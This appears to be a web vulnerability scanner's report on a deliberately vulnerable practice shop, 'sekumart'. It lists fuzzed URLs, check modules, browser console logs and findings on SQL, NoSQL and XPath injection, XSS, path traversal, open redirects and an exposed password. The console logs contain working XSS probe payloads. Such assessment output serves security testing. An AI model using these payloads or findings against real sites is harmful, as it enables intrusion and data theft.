`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=…`	404	sekumart — page not found	1
`https://sekumart.sekuripy.hr/catalog.php?next=1&target=1&dest=1&comment=1&message=1…`	200	sekumart — catalog	1
`https://sekumart.sekuripy.hr/cart.php?fileName=sksn0wene&path=1&email=1&token=1…`	200	sekumart — cart	1
`https://sekumart.sekuripy.hr/cart.php?host=1&ip=1&cmd=sksprk29w&fetch=true&load=1…`	200	sekumart — cart	1
`https://sekumart.sekuripy.hr/cart.php?next=1&target=1&dest=1&comment=1&message=1…`	200	sekumart — cart	1
`https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=1&format=1…`	200	sekumart — catalog	1
`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=…`	404	sekumart — page not found	1
`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=…`	404	sekumart — page not found	1
`https://sekumart.sekuripy.hr/catalog.php?template=sks1gwysh&include=1&download=1…`	200	sekumart — catalog	1
`https://sekumart.sekuripy.hr/catalog.php?fileName=1&path=1&email=1&token=1&action=1…`	200	sekumart — catalog	1
`https://sekumart.sekuripy.hr/cart.php?host=1&ip=sksclscz1&cmd=1&fetch=true&load=1…`	200	sekumart — cart	1
`https://sekumart.sekuripy.hr/cart.php?next=1&target=sks5xhk2e&dest=1&comment=1…`	200	sekumart — cart	1
`https://sekumart.sekuripy.hr/cart.php?template=1&include=skslzdr34&download=1…`	200	sekumart — cart	1
`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=…`	404	sekumart — page not found	1
`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1…`	404	sekumart — page not found	1
`https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=…`	200	sekumart — cart	1
`https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=1&format=1…`	200	sekumart — catalog	1

Checks applied 78 modules · 57 send probes

check	category	passive	probes
`recon/platform`	recon	yes	—
`recon/exposure`	recon	yes	yes
`recon/iis_shortname`	recon	—	yes
`recon/param_mining`	recon	—	yes
`recon/deployment_shape`	recon	yes	—
`recon/triage`	recon	yes	yes
`runtime/errors`	runtime	yes	—
`injection/xss`	injection	yes	yes
`injection/blind_xss`	injection	—	yes
`injection/css`	injection	yes	yes
`injection/sqli`	injection	yes	yes
`injection/traversal`	injection	—	yes
`injection/nosqli`	injection	yes	yes
`injection/graphql`	injection	yes	yes
`injection/ssti`	injection	yes	yes
`injection/xpath`	injection	yes	yes
`injection/ldap`	injection	yes	yes
`injection/xxe`	injection	yes	yes
`injection/hql`	injection	yes	yes
`injection/xslt`	injection	yes	yes
`injection/sparql`	injection	yes	yes
`injection/odata`	injection	yes	yes
`injection/second_order`	injection	yes	yes
`injection/deserialization`	injection	—	yes
`injection/proto_pollution`	injection	—	yes
`injection/cache_poisoning`	injection	—	yes
`injection/smuggling`	injection	—	—
`injection/ssrf`	injection	yes	yes
`injection/xmlrpc_pingback`	injection	—	yes
`injection/log4shell`	injection	—	yes
`injection/struts_ognl`	injection	—	yes
`injection/drupal_render`	injection	yes	yes
`injection/wp_batch_sqli`	injection	yes	yes
`injection/gitlab_exiftool`	injection	yes	yes
`injection/wp_automatic_sqli`	injection	yes	yes
`injection/command`	injection	—	yes
`access-control/open_redirect`	access-control	yes	yes
`access-control/authz`	access-control	yes	yes
`access_control/csrf`	access_control	—	yes
`access_control/object_reference`	access_control	—	yes
`access_control/admin_api`	access_control	—	yes
`auth/session`	auth	yes	—
`auth/jwt`	auth	—	yes
`auth/oauth`	auth	yes	yes
`auth/wp_json_api_user_privesc`	auth	yes	yes
`config/headers`	config	yes	—
`config/csp`	config	yes	—
`config/cookies`	config	yes	—
`config/cors`	config	yes	yes
`websocket/hijacking`	websocket	—	yes
`llm/injection`	llm	—	yes
`llm/cross_session`	llm	—	yes
`llm/system_prompt`	llm	—	yes
`llm/excessive_agency`	llm	—	yes
`llm/indirect_injection`	llm	—	yes
`config/transport`	config	yes	—
`config/tls`	config	—	—
`recon/hygiene`	recon	yes	—
`recon/secrets`	recon	yes	—
`auth/rate_limit`	auth	—	yes
`injection/amplification`	injection	—	yes
`injection/header_injection`	injection	—	yes
`auth/credential_exposure`	auth	yes	—
`auth/password_reset`	auth	—	yes
`auth/session_id`	auth	yes	—
`auth/user_enumeration`	auth	—	yes
`api/rest`	api	yes	—
`api/graphql_surface`	api	yes	yes
`api/schema`	api	yes	—
`client/dom`	client	yes	—
`client/dom_pollution`	client	yes	—
`client/postmessage`	client	yes	—
`client/libraries`	client	yes	—
`client/supplychain`	client	yes	—
`upload/file_upload`	upload	yes	yes
`upload/unauth_connector`	upload	yes	yes
`business-logic/workflow`	business-logic	yes	yes
`business_logic/race`	business_logic	—	yes

Browser console124 events

type	message
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
log	[sekuscan:taint] {"sink":"Element.innerHTML","source":"location.hash[lang]","carried":"friend'donfi</'`:>\";zmtlp","sample":"Chosen language: friend'd…
log	[sekuscan:taint] {"sink":"Element.innerHTML","source":"location.hash[lang]","carried":"frienddonfi<>zmtlp","sample":"Chosen language: frienddonfi<>zmt…
log	[sekuscan:taint] {"sink":"Element.innerHTML","source":"location.hash[lang]","carried":"donfi:\"/>`'<;zmtlp","sample":"Chosen language: donfi:\"/>`'<;z…
log	[sekuscan:taint] {"sink":"Element.innerHTML","source":"location.hash[lang]","carried":"frienddonfi<sksdon>zmtlp","sample":"Chosen language: frienddonf…
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
log	[sekuscan:taint] {"sink":"Element.innerHTML","source":"location.hash[lang]","carried":"\"><svg onload=alert(/sks45f9r8/)>","sample":"Chosen language: …
log	[sekuscan:alert] /sks45f9r8/
log	[sekuscan:taint] {"sink":"Element.innerHTML","source":"location.hash[lang]","carried":"\"><svg onload=document.title=/sks45f9r8/.source>","sample":"Ch…
log	[sekuscan:alert] /sksm8bhp7/
log	[sekuscan:alert] /sksm8bhp7/
log	[sekuscan:alert] /sksm8bhp7/
error	Failed to load resource: the server responded with a status of 404 ()
log	[sekuscan:alert] /sksm8bhp7/
log	[sekuscan:alert] /sksm8bhp7/
log	[sekuscan:alert] /sksm8bhp7/
log	[sekuscan:alert] /sksde7km2/
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
log	[sekuscan:alert] /sksm8bhp7/
log	[sekuscan:alert] /sksm8bhp7/
error	Failed to load resource: the server responded with a status of 404 ()
log	[sekuscan:alert] /sksm8bhp7/
log	[sekuscan:alert] /sksm8bhp7/
log	[sekuscan:alert] /sksm8bhp7/
log	[sekuscan:alert] /sksm2easr/
log	[sekuscan:alert] /sksm2easr/
log	[sekuscan:alert] /sksm8bhp7/
log	[sekuscan:alert] /sksm8bhp7/
log	[sekuscan:alert] /sksm2easr/
log	[sekuscan:alert] /sksm2easr/
log	[sekuscan:alert] /sksm8bhp7/
log	[sekuscan:alert] /sksm8bhp7/
log	[sekuscan:alert] /sksm2easr/
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
log	[sekuscan:alert] /sksrrhyl8/
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
log	[sekuscan:taint] {"sink":"Element.innerHTML","source":"location.hash[lang]","carried":"skshgo6nm","sample":"Chosen language: skshgo6nm","stack":["at h…
log	[sekuscan:taint] {"sink":"Element.innerHTML","source":"location.hash[lang]","carried":"<img src=x onerror=alert(/skswh66m3/)>","sample":"Chosen langua…
error	Failed to load resource: the server responded with a status of 404 ()
log	[sekuscan:alert] /skswh66m3/
error	Failed to load resource: the server responded with a status of 404 ()
log	[sekuscan:taint] {"sink":"Element.innerHTML","source":"location.hash[lang]","carried":"\"><svg onload=alert(/skswh66m3/)>","sample":"Chosen language: …
log	[sekuscan:alert] /skswh66m3/
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()
error	Failed to load resource: the server responded with a status of 404 ()

Every raw signal 536 before consolidation

severity	check	title	target
critical	injection/xpath	Demonstrated on `q`: addresses the document tree, not just a boo…	`https://sekumart.sekuripy.hr/directory.php?q=Ada…`
critical	injection/nosqli	Demonstrated on `user`: the engine compiles a regular expression…	`https://sekumart.sekuripy.hr/members.php?user…`
critical	injection/nosqli	NoSQL operator injection confirmed on `user`	`https://sekumart.sekuripy.hr/members.php?user…`
critical	injection/sqli	SQL error from `cat` (MySQL)	`https://sekumart.sekuripy.hr/category.php?cat=1…`
critical	injection/sqli	SQL error from `curr` (MySQL)	`https://sekumart.sekuripy.hr/catalog.php`
critical	injection/sqli	SQL error from `curr` (MySQL)	`https://sekumart.sekuripy.hr/`
critical	injection/sqli	SQL error from `curr` (MySQL)	`https://sekumart.sekuripy.hr/category.php?cat=2`
critical	injection/sqli	SQL error from `curr` (MySQL)	`https://sekumart.sekuripy.hr/product.php?id=3`
critical	injection/sqli	SQL error from `id` (MySQL)	`https://sekumart.sekuripy.hr/apiv1.php`
critical	injection/sqli	SQL error from `id` (MySQL)	`https://sekumart.sekuripy.hr/product.php?id=1…`
critical	injection/sqli	SQL error from `order` (MySQL)	`https://sekumart.sekuripy.hr/track.php?order=SK-…`
critical	injection/sqli	SQL error from `q` (MySQL)	`https://sekumart.sekuripy.hr/search.php?q=sks…`
critical	injection/sqli	SQL error from `sort` (MySQL)	`https://sekumart.sekuripy.hr/catalog.php?sort=id…`
critical	injection/sqli	SQL error from `username` (MySQL)	`https://sekumart.sekuripy.hr/login.php`
critical	injection/xpath	XPath error from `q` (lxml / libxml2)	`https://sekumart.sekuripy.hr/directory.php?q=Ada…`
critical	injection/xpath	XPath injection confirmed on `q`	`https://sekumart.sekuripy.hr/directory.php?q=Ada…`
high	injection/xpath	`q` evaluates a supplied condition (literal_and boundary)	`https://sekumart.sekuripy.hr/directory.php?q=Ada…`
high	auth/credential_exposure	Response returns a stored password in clear	`https://sekumart.sekuripy.hr/openapi.json`
medium	client/dom	DOM XSS via the URL fragment (`#lang=`)	`https://sekumart.sekuripy.hr/help.php#lang=%3Cim…`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/account.php`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/admin.php`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/search.php?q=`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/viewsource.php?p=se…`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/challenges.php`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/cart.php`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/login.php`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/catalog.php`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/product.php?id=1`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/reviews.php`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/category.php?cat=1`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/track.php`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/directory.php`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/members.php`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/hackme.php`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/tutorial.php`
medium	config/headers	Page with an interactive control can be framed by any origin	`https://sekumart.sekuripy.hr/help.php`
medium	injection/xss	Injected element parsed as markup via `lang`	`https://sekumart.sekuripy.hr/help.php#lang=frien…`
medium	injection/xss	Injected element parsed as markup via `q`	`https://sekumart.sekuripy.hr/search.php?q=sksqom…`
medium	injection/traversal	Path traversal: `file` is resolved as a filesystem path	`https://sekumart.sekuripy.hr/image.php?file=asse…`
medium	injection/xss	Reflected XSS in `author` executed in the browser	`https://sekumart.sekuripy.hr/product.php?id=1`
medium	injection/xss	Reflected XSS in `author` — element text, where a new tag can be…	`https://sekumart.sekuripy.hr/reviews.php`
medium	injection/xss	Reflected XSS in `body` executed in the browser	`https://sekumart.sekuripy.hr/product.php?id=1`
medium	injection/xss	Reflected XSS in `body` — element text, where a new tag can be o…	`https://sekumart.sekuripy.hr/reviews.php`
medium	injection/xss	Reflected XSS in `callback` executed in the browser	`https://sekumart.sekuripy.hr/api.php?callback=…`
medium	injection/xss	Reflected XSS in `callback` — a JavaScript callback expression l…	`https://sekumart.sekuripy.hr/api.php?callback=cb…`
medium	injection/xss	Reflected XSS in `callback` — the response body, which is served…	`https://sekumart.sekuripy.hr/api.php?callback=cb…`
medium	injection/xss	Reflected XSS in `lang` executed in the browser	`https://sekumart.sekuripy.hr/help.php#lang="><sv…`
medium	injection/xss	Reflected XSS in `q` executed in the browser	`https://sekumart.sekuripy.hr/`
medium	injection/second_order	`author` on /reviews.php is stored and rendered at /product.php	`https://sekumart.sekuripy.hr/product.php?id=1`
medium	injection/second_order	`author` on /reviews.php is stored and rendered at /product.php	`https://sekumart.sekuripy.hr/product.php?id=1+AN…`
medium	injection/second_order	`body` on /catalog.php is stored and rendered at /reviews.php	`https://sekumart.sekuripy.hr/reviews.php`
medium	injection/second_order	`body` on /reviews.php is stored and rendered at /product.php	`https://sekumart.sekuripy.hr/product.php?id=1`
medium	injection/second_order	`body` on /reviews.php is stored and rendered at /product.php	`https://sekumart.sekuripy.hr/product.php?id=1+AN…`
medium	injection/second_order	`callback` on /api.php is stored and rendered at /product.php	`https://sekumart.sekuripy.hr/product.php?id=7`
medium	recon/platform	PHP 8.2.30 has 10 published advisories	`https://sekumart.sekuripy.hr/`
medium	api/rest	Sensitive-looking field in API response (token)	`https://sekumart.sekuripy.hr/?rest_route=/batch/…`
medium	injection/cache_poisoning	Authenticated page served under a static-looking path	`https://sekumart.sekuripy.hr/account.php/sks-dec…`
medium	injection/cache_poisoning	Authenticated page served under a static-looking path	`https://sekumart.sekuripy.hr/admin.php/sks-decep…`
medium	injection/nosqli	Operator-shaped value changes the response for `user`	`https://sekumart.sekuripy.hr/members.php?user…`
medium	injection/nosqli	`user` is read as a query operator, not a value	`https://sekumart.sekuripy.hr/members.php?user…`
medium	business-logic/workflow	Client-supplied business value field `qty`	`https://sekumart.sekuripy.hr/cart.php`
low	access-control/open_redirect	External URL accepted as redirect destination via `url`	`https://sekumart.sekuripy.hr/go.php?url=https…`
low	access-control/open_redirect	External URL accepted as redirect destination via `url`	`https://sekumart.sekuripy.hr/go.php?url=//sekusc…`
low	access-control/open_redirect	External URL accepted as redirect destination via `url`	`https://sekumart.sekuripy.hr/go.php?url=%5C%5Cse…`
low	access-control/open_redirect	External URL accepted as redirect destination via `url`	`https://sekumart.sekuripy.hr/go.php?url=https…`
low	api/rest	API specification is publicly readable	`https://sekumart.sekuripy.hr/openapi.json`
low	api/rest	API specification is publicly readable	`https://sekumart.sekuripy.hr/openapi.json?c=1&l=…`
low	api/rest	API specification is publicly readable	`https://sekumart.sekuripy.hr/openapi.json?callba…`
low	api/rest	API specification is publicly readable	`https://sekumart.sekuripy.hr/openapi.json?data=1…`
low	api/rest	API specification is publicly readable	`https://sekumart.sekuripy.hr/openapi.json?templa…`
low	api/rest	API specification is publicly readable	`https://sekumart.sekuripy.hr/openapi.json?fields…`
low	api/rest	API specification is publicly readable	`https://sekumart.sekuripy.hr/openapi.json?skscb=…`
low	auth/session	Session cookie `PHPSESSID` lacks protection flags	`https://sekumart.sekuripy.hr/`
low	client/supplychain	Third-party script loads without Subresource Integrity	`https://sekumart.sekuripy.hr/`
low	client/dom	URL-controlled value reaches Element.innerHTML	`https://sekumart.sekuripy.hr/help.php#lang=frien…`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/account.php`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/admin.php`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/apiv1.php`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/search.php?q=`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/viewsource.php?p=se…`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/challenges.php`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/cart.php`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/login.php`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/catalog.php`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/product.php?id=1`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/reviews.php`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/category.php?cat=1`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/track.php`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/directory.php`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/members.php`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/hackme.php`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/tutorial.php`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/help.php`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/api.php?callback=cb`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/image.php?file=`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/go.php?url=`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/setcurr.php?c=USD`
low	config/headers	Missing Strict-Transport-Security header	`https://sekumart.sekuripy.hr/setlevel.php?l=low`
low	config/cookies	Weak cookie flags on `PHPSESSID`	`https://sekumart.sekuripy.hr/`
low	injection/xpath	XPath error message in response (Generic XPath)	`https://sekumart.sekuripy.hr/viewsource.php?p=di…`
low	auth/session	Credential form without an anti-CSRF token field	`/login.php`
info	access-control/open_redirect	Redirect parameter discovered: `dest`	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	access-control/open_redirect	Redirect parameter discovered: `dest`	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	access-control/open_redirect	Redirect parameter discovered: `dest`	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	access-control/open_redirect	Redirect parameter discovered: `next`	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	access-control/open_redirect	Redirect parameter discovered: `next`	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	access-control/open_redirect	Redirect parameter discovered: `next`	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	access-control/open_redirect	Redirect parameter discovered: `redirect`	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	access-control/open_redirect	Redirect parameter discovered: `redirect`	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	access-control/open_redirect	Redirect parameter discovered: `redirect`	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	access-control/open_redirect	Redirect parameter discovered: `returnTo`	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	access-control/open_redirect	Redirect parameter discovered: `returnTo`	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	access-control/open_redirect	Redirect parameter discovered: `returnTo`	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	access-control/open_redirect	Redirect parameter discovered: `return_url`	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	access-control/open_redirect	Redirect parameter discovered: `return_url`	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	access-control/open_redirect	Redirect parameter discovered: `return_url`	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	access-control/open_redirect	Redirect parameter discovered: `target`	`https://sekumart.sekuripy.hr/cart.php?next=1…`
info	access-control/open_redirect	Redirect parameter discovered: `target`	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	access-control/open_redirect	Redirect parameter discovered: `target`	`https://sekumart.sekuripy.hr/catalog.php?next=1…`
info	access-control/open_redirect	Redirect parameter discovered: `url`	`https://sekumart.sekuripy.hr/go.php?url=`
info	access-control/open_redirect	Redirect parameter discovered: `url`	`https://sekumart.sekuripy.hr/catalog.php?callbac…`
info	access-control/open_redirect	Redirect parameter discovered: `url`	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	access-control/open_redirect	Redirect parameter discovered: `url`	`https://sekumart.sekuripy.hr/cart.php?callback=1…`
info	api/rest	API endpoint discovered: GET /apiv1.php	`https://sekumart.sekuripy.hr/apiv1.php`
info	api/rest	API endpoint discovered: GET /apiv1.php	`https://sekumart.sekuripy.hr/apiv1.php`
info	api/rest	API endpoint discovered: GET /openapi.json	`https://sekumart.sekuripy.hr/openapi.json`
info	api/rest	API endpoint discovered: POST /	`https://sekumart.sekuripy.hr/?rest_route=/batch/…`
info	api/rest	API endpoint discovered: POST /apiv1.php	`https://sekumart.sekuripy.hr/apiv1.php`
info	api/rest	JSONP endpoint discovered: GET /api.php	`https://sekumart.sekuripy.hr/api.php?callback=cb`
info	api/rest	JSONP endpoint discovered: GET /api.php	`https://sekumart.sekuripy.hr/api.php?callback=cb`
info	business-logic/workflow	Business workflow surface: /cart.php	`/cart.php`
info	business-logic/workflow	Business workflow surface: /var/www/html/cart.php	`https://sekumart.sekuripy.hr/var/www/html/cart.p…`
info	business-logic/workflow	Destructive-looking action skipped: remove	`https://sekumart.sekuripy.hr/cart.php`
info	business-logic/workflow	Read-only business workflow state graph observed	`https://sekumart.sekuripy.hr/`
info	client/supplychain	Third-party code origin: static.cloudflareinsights.com	`https://sekumart.sekuripy.hr/`
info	config/tls	Certificate valid	`https://sekumart.sekuripy.hr`
info	config/headers	Debug / technology disclosure headers	`https://sekumart.sekuripy.hr/`
info	config/headers	Debug / technology disclosure headers	`https://sekumart.sekuripy.hr/setcurr.php?c=USD`
info	config/headers	Debug / technology disclosure headers	`https://sekumart.sekuripy.hr/setlevel.php?l=low`
info	config/tls	Legacy TLS protocols refused	`https://sekumart.sekuripy.hr`
info	config/headers	Missing Cross-Origin-Opener-Policy header	`https://sekumart.sekuripy.hr/`
info	config/headers	Missing Cross-Origin-Opener-Policy header	`https://sekumart.sekuripy.hr/account.php`
info	config/headers	Missing Cross-Origin-Opener-Policy header	`https://sekumart.sekuripy.hr/admin.php`
info	config/headers	Missing Cross-Origin-Opener-Policy header	`https://sekumart.sekuripy.hr/setcurr.php?c=USD`
info	config/headers	Missing Cross-Origin-Opener-Policy header	`https://sekumart.sekuripy.hr/setlevel.php?l=low`
info	config/headers	Missing Cross-Origin-Resource-Policy header	`https://sekumart.sekuripy.hr/`
info	config/headers	Missing Cross-Origin-Resource-Policy header	`https://sekumart.sekuripy.hr/account.php`
info	config/headers	Missing Cross-Origin-Resource-Policy header	`https://sekumart.sekuripy.hr/admin.php`
info	config/headers	Missing Cross-Origin-Resource-Policy header	`https://sekumart.sekuripy.hr/setcurr.php?c=USD`
info	config/headers	Missing Cross-Origin-Resource-Policy header	`https://sekumart.sekuripy.hr/setlevel.php?l=low`
info	config/headers	Missing Permissions-Policy header	`https://sekumart.sekuripy.hr/`
info	config/headers	Missing Permissions-Policy header	`https://sekumart.sekuripy.hr/account.php`
info	config/headers	Missing Permissions-Policy header	`https://sekumart.sekuripy.hr/admin.php`
info	config/headers	Missing Permissions-Policy header	`https://sekumart.sekuripy.hr/setcurr.php?c=USD`
info	config/headers	Missing Permissions-Policy header	`https://sekumart.sekuripy.hr/setlevel.php?l=low`
info	config/headers	Missing Referrer-Policy header	`https://sekumart.sekuripy.hr/`
info	config/headers	Missing Referrer-Policy header	`https://sekumart.sekuripy.hr/account.php`
info	config/headers	Missing Referrer-Policy header	`https://sekumart.sekuripy.hr/admin.php`
info	config/headers	Missing Referrer-Policy header	`https://sekumart.sekuripy.hr/setcurr.php?c=USD`
info	config/headers	Missing Referrer-Policy header	`https://sekumart.sekuripy.hr/setlevel.php?l=low`
info	config/headers	Missing X-Content-Type-Options header	`https://sekumart.sekuripy.hr/`
info	config/headers	Missing X-Content-Type-Options header	`https://sekumart.sekuripy.hr/account.php`
info	config/headers	Missing X-Content-Type-Options header	`https://sekumart.sekuripy.hr/admin.php`
info	config/headers	Missing X-Content-Type-Options header	`https://sekumart.sekuripy.hr/setcurr.php?c=USD`
info	config/headers	Missing X-Content-Type-Options header	`https://sekumart.sekuripy.hr/setlevel.php?l=low`
info	config/csp	No Content-Security-Policy	`https://sekumart.sekuripy.hr/reviews.php`
info	config/csp	No Content-Security-Policy	`https://sekumart.sekuripy.hr/setcurr.php?c=USD`
info	config/headers	No framing protection (X-Frame-Options / frame-ancestors)	`https://sekumart.sekuripy.hr/apiv1.php`
info	config/headers	No framing protection (X-Frame-Options / frame-ancestors)	`https://sekumart.sekuripy.hr/api.php?callback=cb`
info	config/headers	No framing protection (X-Frame-Options / frame-ancestors)	`https://sekumart.sekuripy.hr/image.php?file=`
info	config/headers	No framing protection (X-Frame-Options / frame-ancestors)	`https://sekumart.sekuripy.hr/setcurr.php?c=USD`
info	config/headers	No framing protection (X-Frame-Options / frame-ancestors)	`https://sekumart.sekuripy.hr/setlevel.php?l=low`
info	config/tls	Weak cipher families refused	`https://sekumart.sekuripy.hr`
info	config/cookies	Weak cookie flags on `curr`	`https://sekumart.sekuripy.hr/`
info	config/cookies	Weak cookie flags on `seclevel`	`https://sekumart.sekuripy.hr/`
